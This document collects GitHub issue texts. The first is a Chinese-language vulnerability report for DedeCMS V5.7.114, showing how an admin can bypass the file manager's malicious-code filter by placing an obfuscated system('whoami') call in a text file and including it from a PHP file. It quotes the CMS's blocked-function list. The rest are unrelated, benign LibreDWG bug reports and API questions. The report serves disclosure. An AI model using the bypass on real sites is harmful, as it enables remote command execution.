Version: DedeCMS V5.7.114
[DedeCMS-V5.7.114-UTF8.zip](https://github.com/QianGeG/CVE/files/15286316/DedeCMS-V5.7.114-UTF8.zip)
在文件式管理器功能处创建1.php和newfile.txt两个文件
1.php内容如下
```
<?php require_once('newfile.txt');?>
```
2.txt内容如下
```
<?php (s.y.s.t.e.m)("whoami");?>
```
随后访问1.php即可成功
# 调试分析
当访问如下网址时(新建文件)处
```
http://ddcms.asd/dede/file_manage_view.php?fmdo=newfile&activepath=%2Fuploads
```
首先在file_manage_view.php文件进行分析，fmdo的参数为newfile，直接全局搜索
```php
else if($fmdo=="newfile")
{
$content = "";
$GLOBALS['filename'] = "newfile.txt";
$contentView = "<textarea name='str' style='width:99%;height:400'></textarea>\r\n";
$GLOBALS['token'] = make_hash();
$ctp = new DedeTagParse();
$ctp->LoadTemplate(DEDEADMIN."/templets/file_edit.htm");
$ctp->display();
}
```
传入了一个htm文件，跟进查看
LoadTemplate()
```php
function LoadTemplate($filename)
{
// var_dump($filename);exit();
$this->SetDefault();
// 判断file_edit.htm是否存在,此文件时存在的，所以就进入到了else
if(!file_exists($filename))
{
// var_dump('asd');exit();
$this->SourceString = " $filename Not Found! ";
$this->ParseTemplet();
}
else
{
// echo '进入else条件';
$fp = @fopen($filename, "r");
while($line = fgets($fp,1024))
{
$this->SourceString .= $line;
// var_dump($this->SourceString);exit();
}
fclose($fp);
if($this->LoadCache($filename))
{
// var_dump(111);exit();
return '';
}
else
{
$this->ParseTemplet();
}
}
}
```
这前面没什么重点，这时在新建文件的时候的抓包看看
在file_manage_control.php处进行的文件上传，跟进
```php
$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);
//var_dump($str);exit(); 此处的$str是我们上传的内容，可以根据抓包的参数就可以看出来或者var_dump打印看看都可以看得出来
global $cfg_disable_funs;
//var_dump($cfg_disable_funs);exit();
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';
foreach (explode(",", $cfg_disable_funs) as $value) {
//var_dump($value);exit();
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {
//判断$str也就是用户输入的字符串内是否存在$cfg_disable_funs的字符，里面是一些禁用的函数或者是否存在[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST这些请求方式
// var_dump($str);
// dede_htmlspecialchars 进行了实体化编码
$str = dede_htmlspecialchars($str);
// var_dump($str);exit();
die("DedeCMS提示：当前页面中存在恶意代码！<pre>{$str}</pre>");
}
}
```
得知这里过滤了一些危险的函数和请求的方式，如：文件存在system或者$_GET['xx']。那么就会die掉
但是并没有过滤文件包含的函数，这里可以利于文件包含的函数包含任意文件从而达到目的
```php
/** 匹配如123<?php ?>**/
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {
// var_dump(123);exit();
// echo 123;exit();
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {
var_dump(123);exit();
$str = dede_htmlspecialchars($str);
die("DedeCMS提示：当前页面中存在恶意代码！<pre>{$str}</pre>");
}
if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {
var_dump(456);exit();
$str = dede_htmlspecialchars($str);
die("DedeCMS提示：当前页面中存在恶意代码！<pre>{$str}</pre>");
}
if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {
var_dump(678);exit();
$str = dede_htmlspecialchars($str);
die("DedeCMS提示：当前页面中存在恶意代码！<pre>{$str}</pre>");
}
}
```
```
下面的这些代码在123<?php ?>的时候会进行匹配到从而进入到此代码中或者<?php ?>都会进行匹配到，后面的三个正则如果当内容出现`xxx`或者$_GET[]等...会被die掉，里面的内容都会被实体化掉，经测试<?php ?>是可以进行操作的
```
随后当内容会我们的危害语句时也是可以过去的
```
<?php (s.y.s.t.e.m)("whoami");?>
```
加上前面的文件包含如果包含进此文件即可触发命令执行

Hi,
I am trying to convert a r2018 DWG file into r2004 DXF file and then carry out some modifications on the latter. I use the following command line prompt (both files attached at the end as zip archive):
dwg2dxf.exe --as r2004 2018.dwg --file 2018.dxf
However, the produced dxf file is apparently problematic. The AutoDesk TrueView application can not open it, and also ezdxf does not read it (because it is missing name tag, see discussion in https://github.com/mozman/ezdxf/issues/1136). Is this supposed to work, or is this a bug?
I have also tried all other export formats (r2000, r2007, r2010, r2013) and got the same issue.
I am using LibreDWG v0.13.3, downloaded Windows binaries.

With "Recovery Mode", I'm referring to an AutoCAD warning that appears when opening LibreDWG-generated DWG files.
Related to issue: https://github.com/LibreDWG/libredwg/issues/346
Material is broken, right? What about hardcoding a blob of data that belongs to the correct material so we can write all DWG file formats without "Recovery Mode"?
Or better, can you point me to the line of code that adds the material? Is it safe to remove it alone?
Thanks.

libredwg-0.12.5-win64.zip 以上的版本，解压打开后使用 dwg2dxf.exe example_2000.dwg 命令，dwg转换为dxf的文件，转换后的dxf文件打开后不能正常显示，是不是高版本有什么依赖或者包需要安装的

Hi all,
I just built rust bindings using bindgen from the latest windows binary release, but the header files `dwg.h dwg_api.h` don't include the `dwg_write_dxf()` function, which appears to be found in `src/out_dxf.h`.
I ran libredwg-0.dll through dumpbin and it shows the function as an export.
Can anyone help point me in the right direction?

EXPORT bool dwg_dynapi_header_utf8text (const Dwg_Data *restrict dwg,
const char *restrict fieldname,

I cannot call this function success， always get error

Invalid DXF file is produced when trying to convert DWG to DXF using `dwg2dxf`. Long text (usually in group `1`) is split incorrectly. The continuation line does not have a preceding group code. Additionally unicode code points are split between the lines. Here is an example fragment of such result (sorry, I cannot share the full source file, it is proprietary):

Looking into the code, I suspect several problems:
https://github.com/LibreDWG/libredwg/blob/07c078aca71840f0f9a0dffb3032056d043858b0/src/out_dxf.c#L1270
1. Continuation group code is written only [if remaining length is greater than 255](https://github.com/LibreDWG/libredwg/blob/07c078aca71840f0f9a0dffb3032056d043858b0/src/out_dxf.c#L1295). It is probably a typo, and it should check for greater than 0, like [in the block above it](https://github.com/LibreDWG/libredwg/blob/07c078aca71840f0f9a0dffb3032056d043858b0/src/out_dxf.c#L1276).
2. Unicode is not handled in any way. Code point may be split at an arbitrary byte.
3. According to DXF specification text length limit is 250 characters, not 255.
4. According to DXF specification, if text field is split (group `1`), all partial fragments (starting from the first one) should have group `3`, and should be terminated by last fragment with group `1`. Seems there is no place for such logic in the current implementation.
5. [This 1024 bytes limit](https://github.com/LibreDWG/libredwg/blob/07c078aca71840f0f9a0dffb3032056d043858b0/src/out_dxf.c#L1258) looks very bad. Shouldn't it be increased with dynamic buffer allocation?

Hello, I need to use files like out_json.h and hash.h when installing and compiling, but the current installation method does not include these related files. Do you have a good solution for this? Thank you

Using the precompiled windows binaries for version 13.3. When I import the LibreDWG.py module the first thing it does is look for the _LibreDWG.so file. However, this file is nowhere to be found in either the site-packages folder or the zip file as a whole.
Is there another file in the package that can be pointed to to do the same job? If not, would it be possible to ensure that the .so file is included in the python library please?

Trying to use **dwg_read_file** open a dwg file created by autocad 2022.
Somehow, I got error of DWG_ERR_VALUEOUTOFBOUNDS which is 64 in interger.
But it works fine with previous versions like 2007, 2010, 2012 etc..

Hi, I was successfully able to get the vertind from dwg_ent_vert_pface_face,
but I don't know the correct way to use this value for retrieving a certain vertex point,
I tried to collect all the vertex points by iterating objects through dwg_get_object() to a vector,
but seems the sequence is not as the same as how vertind works,
and I found there's another functionality calls dwg_getall_VERTEX_PFACE(),
but I couldn't figure out how to convert my dwg_data to its input type,
any advice would be greatfully appreciated,
thank you in advance :]

Hi, I'm new to this library and am trying to get the point from insert entities to process in other application
with code like this:
```
dwg_ent_insert* ins1;
auto cadPT1 = ins1->ins_pt;
SUPoint3D pt1 = { cadPT1.x cadPT1.y , cadPT1.z };
```
somehow the points' XYZ value is not the same as it is when I check it in the AutoCAD,
like the first Point mis-placed Y and Z value, though it's easy to correct by simply rotate via x-axis,
the issue seems to be irregular, like the second point all the three values are mis-placed,
I've checked other entity type like mtext and line, which don't have this problem.
did I mis-operate or is this really a problem, if so how can I fix it?
Thank you :]

In strings area is "FOO" \0 "BAR", but in logging is only "FOO", because \0.
I think that we need better logging of strings_area than TF. I am proposing hexadecimal output.
I am proposing to log real text to each dash. Something like:
```
dashes[1] FOO @0
dashes[4] BAR @4
```

I have an example:
[red_line.tar.gz](https://github.com/LibreDWG/libredwg/files/14498409/red_line.tar.gz)
Intention: Create a line, change color to red, create ltype, and use it in the created line.
I am curious, that in the DWG file isn't set ltype in the LINE entity.
What am I doing wrong?
```c
ltype = dwg_add_LTYPE(dwg, "New LTYPE");
line = dwg_add_LINE(hdr, &pt1, &pt2);
if (line != NULL) {
// Red color.
line->parent->color.index = 1; // Red color
// Set line type.
ltype_obj = dwg_obj_generic_to_object (ltype, &ret);
line->parent->ltype = dwg_add_handleref (dwg, 5, ltype_obj->handle.value, NULL);
}
```

#322 contains a Drawing2_C++.dwg, where all handles decode to something like 0.5.1000000D6 instead of 0.5.D6
libdxfrw handles them correctly
apparently everybody uses just 4-byte handles, not 8-byte. we need to cap it until at least r2007. TODO find out when they extended handles to 64bit. I assume r2007, but I might be wrong, as I found no such DWG's with bigger handle sizes than 4 (other than fuzzing or this one)
Or maybe with size > 4 there are more undocumented high bits. There is only such bit set.

The error is because code in src/dec_macros.c:
```
...
#define _REPEAT(times, nam, type, idx) \
REPEAT_CHKCOUNT_LVAL (nam, _obj->times, type) \
if (_obj->times > 0)

times = 0; \

if ((int64_t)((times) * sizeof (type)) > AVAIL_BITS (dat) \
|| (sizeof (times) > 4 && times > 0xc0000000 / sizeof (type))) \
{
...
```
The ```REPEAT_CHKCOUNT_LVAL``` not working.
in include/dwg.h is:
```
/**
MLINESTYLE (73) object
*/
typedef struct _dwg_MLINESTYLE_line
{
struct _dwg_object_MLINESTYLE *parent;
BITCODE_BD offset;
BITCODE_CMC color;
BITCODE_BSd lt_index; /* until 2018 */
BITCODE_H lt_ltype; /* since 2018 */
} Dwg_MLINESTYLE_line;
```
In real e.g. R14 is used structure without ```BITCODE_H lt_ltype;```
However, the check compares the size of the full structure to the data.
When I comment ```REPEAT_CHKCOUNT_LVAL (nam, _obj->times, type)```, log is without error.

We have a log for TDINDWG and TDUSRTIMER like:
```
TDINDWG: [1, 18474850] 1900-01-00 04:26:02 [TIMEBLL 40]
TDUSRTIMER: [1, 18474804] 1900-01-00 04:26:02 [TIMEBLL 40]
```
But this is not fine.
The result is something ```1 day and 04:26:02 minutes```.

Where did you find the original md file?
I'm trying to apply the patch to the pdf but it's not documented and nothing I try works:
```
patch < ODA-5.4.2-libredwg-diff.pdf OpenDesign_Specification_for_.dwg_files.pdf
patch: **** Only garbage was found in the patch input.
git apply < ODA-5.4.2-libredwg.patch

It looks like (b) versions are skipped a lot, for instance in dwg_decode(), you have:
```
PRE (R_13b1)
...
VERSIONS (R_13b1, R_2000)
...
VERSION (R_2004)
...
VERSION (R_2007)
...
SINCE (R_2010)
...
// This line should not be reached
...
```
meaning R_2000i, R_2002, R_2004a, R2004b, R2004c, R_2007a, R_2007b, R2010b get skipped and that last line gets reached when trying to decode one of those versions.

This subclass in dwg.spec (currently line 11930) seems to be the only one referenced by all capitals instead of camelcase:
ACDBASSOCOSNAPPOINTREFACTIONPARAM
Judging by the pattern in other DWG_OBJECT declarations, it doesn't seem right, but I could be wrong.

Hello everyone, thanks for the author's contribution, let me have the opportunity to use libredwg in my work, now I encounter a problem, such as I read the Dwg_Entity_LINE, insert points I can easily get, but for example, how to obtain the "layer" and "ltype" but no idea, do you have any relevant routines? thanks
for (i = 0; i < dwg.num_objects; i++)
{
switch (dwg.object[i].fixedtype)
{
case DWG_TYPE_LINE:
{line = dwg.object[i].tio.entity->tio.LINE;
color=dwg.object[i].tio.entity->color;
//layer=??
//ltype=??
|
How to read the Dwg_Entity_LINE: layer and ltype?

I'm trying to extract the text from `MTEXT` entities from `.dwg` file.
the text of the MTEXT in my file are 2 characters (example: 01, 02, etc),
but I only get the first letter of the text.
I'm on version 0.12.5 working on Ubuntu 22.04.
The version of dwg is AC1032.
here is a snippet of how I'm trying to get the text:
```
int main() {
Dwg_Data dwg;
dwg_read_file("my_file.dwg", &dwg);
for (size_t i=0; i<dwg.num_objects; i++) {
Dwg_Object object = dwg.object[i];
switch (object.fixedtype) {
case DWG_TYPE_MTEXT: {
Dwg_Entity_MTEXT *mtext = object.tio.entity->tio.MTEXT;
printf("text: %s\n", mtext->text);
}
}
}
}
```
I also tried looping over the pointer with size 2 (size of my text), but it will only print the first letter.
while I was trying to debug, I wanted to look at the raw data,
but the address of the `Dwg_Object` gave the address: 275,739,
although the size of the file is 114,537.
The comment of the address member in the header file says its the offset in the file,
but since its a to big of a number I'm guessing there is a problem with the way I'm handling things.
Hopefully it's not a bug and I'm just reading the text incorrectly, if it is a bug I'd by happy to help fix it.

Would be nice if libreDWG can be make available through npm or if instructions for compiling to WASM (without stdio dependency) were added.
That would make it available to a multitude of developers. WASM probably has a broader reach.
(Currently I'm stuck on incompatible glibc in the target environment, so this complicates everything, maybe the above wouldn't actually solve that)

I would like to convert dxf to/from json, but somehow there is no dxfread program.
I tried to make it by modifying dwgread to use dxf_read_file, which appears to be a drop in replacement for dwg_read_file since it appears to load to the same LibreDWG memory structure, but I get the invalid DWG error 0x800 on my DXF files that work fine with ezdxf.
The DXF version in case is AC1032 (> 2017).
I need to support all valid DXF files (to JSON); it's alright if exotic AutoCAD stuff is missing, I just need simple geometry.
Is LibreDWG just not there yet?
Also, LibreDWG fails to decode its own DXF files generated from dwg (i.e. when running dwgwrite on them).

We have a situation, when we have DWG_VERSION_TYPE definitions in include/dwg.h, but this is related to DWG file, not to AutoCAD release.
Intent behind this is, that we need to define AutoCAD version and set defaults related to AutoCAD version.
e.g.
We have AutoCAD R_13 and AutoCAD R_2000. Boths could encode DWG file to AC1012 version.
But result is different e.g. in case of sections. This is common problem.
AutoCAD R_13:
```
num_sections: 3 [RL]
num_sections => 3
section[0].number: 0 [RC] AcDb:Header
section[0].address: 70 [RL]
section[0].size: 454 [RL]
section[1].number: 1 [RC] AcDb:Classes
section[1].address: 524 [RL]
section[1].size: 38 [RL]
section[2].number: 2 [RC] AcDb:Handles
section[2].address: 3977 [RL]
section[2].size: 79 [RL]
crc: A24C [RSx] from 0-52
HEADER (end): 70
```
AutoCAD R_2000:
```
num_sections: 5 [RL]
num_sections => 5
section[0].number: 0 [RC] AcDb:Header
section[0].address: 18207 [RL]
section[0].size: 484 [RL]
section[1].number: 1 [RC] AcDb:Classes

When I convert R_13 DWG to JSON there is the change of LAYER.on from 0 to 1. In conversion back to DWG there is 1 still.
Example:

The type of the blkhdr parameter does not seem correct:
typedef struct _dwg_entity_POINT dwg_ent_generic;
...
EXPORT Dwg_Entity_SEQEND *
dwg_add_SEQEND (**_dwg_ent_generic_** *restrict blkhdr)
As far as I understand, it should be like this:
EXPORT Dwg_Entity_SEQEND *
dwg_add_SEQEND (**_Dwg_Object_BLOCK_HEADER_** *restrict blkhdr)

Possible error in dwg_add_SEQEND (dwg_api.h)

Mostly with TEXT entities, but also with BLOCK.
This offset leads to CRC errors, requiring recovery.
But with re-encode even to data-loss of subsequent entities: ../to/r9/from_autocad_r10/TABLET.DWG
eg
TEXT ../to/r11/from_autocad_r12/sample/ADESK_B.DWG
BLOCK ../to/r11/from_autocad_r11/SAMPLE/TROL1.DWG (offset 10!)
